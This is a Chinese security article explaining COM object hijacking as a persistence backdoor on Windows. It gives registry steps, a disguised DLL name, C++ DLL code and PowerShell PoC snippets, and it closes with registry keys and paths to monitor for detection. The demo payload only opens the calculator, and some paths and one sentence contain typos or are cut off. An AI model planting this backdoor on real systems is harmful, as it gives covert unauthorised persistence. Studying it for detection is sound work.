COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

嘶吼roartalk / 2017-09-08 09:24:05 / 浏览数 3237 安全技术 技术讨论 顶(0) 踩(0)

0x00 前言

在之前的文章《Use CLR to maintain persistence》介绍了通过CLR劫持所有.Net程序的方法，无需管理员权限，可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。

本文将继续介绍另一种后门的利用方法，原理类似，但优点是不需要重启系统，同样也不需要管理员权限。

注：

本文介绍的方法曾被木马COMpfun使用

详细介绍地址：

https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x01 简介

本文将要介绍以下内容：

· 后门思路

· POC编写

· 防御检测

0x02 COM组件

· COM是Component Object Model （组件对象模型）的缩写

· COM组件由DLL和EXE形式发布的可执行代码所组成

· COM与语言，平台无关

· COM组件对应注册表中CLSID下的注册表键值

0x03 后门思路

注：

思路来自于https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

同使用CLR劫持.Net程序的方法类似，也是通过修改CLSID下的注册表键值，实现对CAccPropServicesClass和MMDeviceEnumerator劫持，而系统很多正常程序启动时需

32位系统利用方法：

1、新建文件

在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}下放入测试dll，重命名为`api-ms-win-downlevel-[4char-random]-l1-1-0._dl`

注：

测试dll下载地址：https://github.com/3gstudent/test/blob/master/calc.dll

重命名为`api-ms-win-downlevel-1×86-l1-1-0._dl`

如下图

2、修改注册表

注册表位置：HKCU\Software\Classes\CLS\ID

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为测试dll的绝对路径：

```
C:\\Users\a\AppData\Roaming\MicrosoftInstaller\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
```

创建键值： ThreadingModel REG_SZ Apartment

注册表内容如下图

3、测试

启动iexplore.exe，触发后门，多次启动calc.exe，最终导致系统死机

启动过程多次调用实例CAccPropServicesClass()，因此导致启动多个calc.exe，最终系统死机

4、优化

可以对dll加一个互斥量，防止重复加载，只启动一次calc.exe

c++代码为：

```
#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
 DWORD  ul_reason_for_call,
 LPVOID lpReserved
 )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
```

优化方法参照：https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

编译后大小3k，如果多次加载该dll，会因为互斥量导致只加载一次，也就是说只启动一次calc.exe

编译好的dll下载地址：

https://github.com/3gstudent/test/blob/master/calcmutex.dll

换用新的dll，再次测试，只启动一次calc.exe，如下图

64位系统利用方法：

1、新建文件

在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}下分别放入32位和64位的测试dll

32位dll下载地址：

https://github.com/3gstudent/test/blob/master/calcmutex.dll

重命名为api-ms-win-downlevel-1×86-l1-1-0._dl

64位dll下载地址：

https://github.com/3gstudent/test/blob/master/calcmutex_x64.dll

重命名为`api-ms-win-downlevel-1×64-l1-1-0._dl`

2、修改注册表

(1)

注册表位置：HKCU\Software\Classes\CLSID

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为64位dll的绝对路径：

```
C:\\Users\a\AppData\Roaming\Microsoft\Installer\
{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1×86-l1-1-0._dl
```

创建键值： ThreadingModel REG_SZ Apartment

注册表内容如下图

(2)

注册表位置：HKCU\Software\Classes\Wow64\32\Node\CLS\ID

创建项{BCDE0395-E52F-467C-8E3D-C4579291692E}

创建子项InprocServer32

Default的键值为32位dll路径：

```
C:\\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
```

创建键值： ThreadingModel REG_SZ Apartment

注册表内容如下图

3、测试

分别启动32位和64位的iexplore.exe，均可触发后门，启动一次calc.exe

测试成功

注：

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}对应CAccPropServicesClass

参考链接:

https://msdn.microsoft.com/en-us/library/accessibility.caccpropservicesclass(v=vs.110).aspx?cs-save-lang=1&cs-lang=cpp#code-snippet-1.aspx?cs-save-lang

{BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator

参考链接:

http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx

0x04 POC编写

POC开发需要注意的细节：

1、操作默认不一定包含文件夹

需要先判断文件夹%APPDATA%\Microsoft\Installer
如果没有，在%APPDATA%\Microsoft下创建文件夹Installer

```
if((Test-Path %APPDATA%\Microsoft\Installer) -eq 0)
{
Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer"
new-item -path $env:APPDATA\Microsoft -name Installer -type directory
}
```

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

由于包含特殊字符{}，需要双引号包含路径

```
if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}
```

3、创建payload文件

首先判断操作系统

```
if ([Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] OS: x64"
}
else
{
Write-Host "[+] OS: x86"
}
```

不同系统释放不同文件

释放文件依旧使用base64，可参考文章：https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

4、创建注册表

修改注册表默认值，如下图

在powershell下，需要使用特殊变量"(default)"

eg：

```
$RegPath="HKCU:\\Software\Classes\CLSID"
New-ItemProperty $RegPath"\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\Inproc\Server32" "(default)" -value $env:APPDATA"\Microsoft\
```

完整POC已上传至Github，地址为：https://github.com/3gstudent/COM-Object-hijacking

0x05 防御检测

结合利用方法，注意监控以下位置：

1、注册表键值

```
HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow64\32\Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E }
```

2、文件路径

```
%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
```

命名方式：`api-ms-win-downlevel-[4char-random]-l1-1-0._dl`

0x06 小结

本文介绍了通过COM Object
hijacking实现的后门利用方法，使用powershell脚本编写POC，分享POC开发中需要注意的细节，结合实际利用过程分析该后门的防御方法。

>本文为 3gstudent原创稿件，授权嘶吼独家发布，如若转载，请联系嘶吼编辑： http://www.4hou.com/technology/7010.html

点击收藏 | 0 关注 | 0
上一篇：Apache Struts2 Fr... 下一篇：Burp suite 1.7.26破解版

1. 0 条回复
    - 动动手指，沙发就是你的了！

登录 后跟帖

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板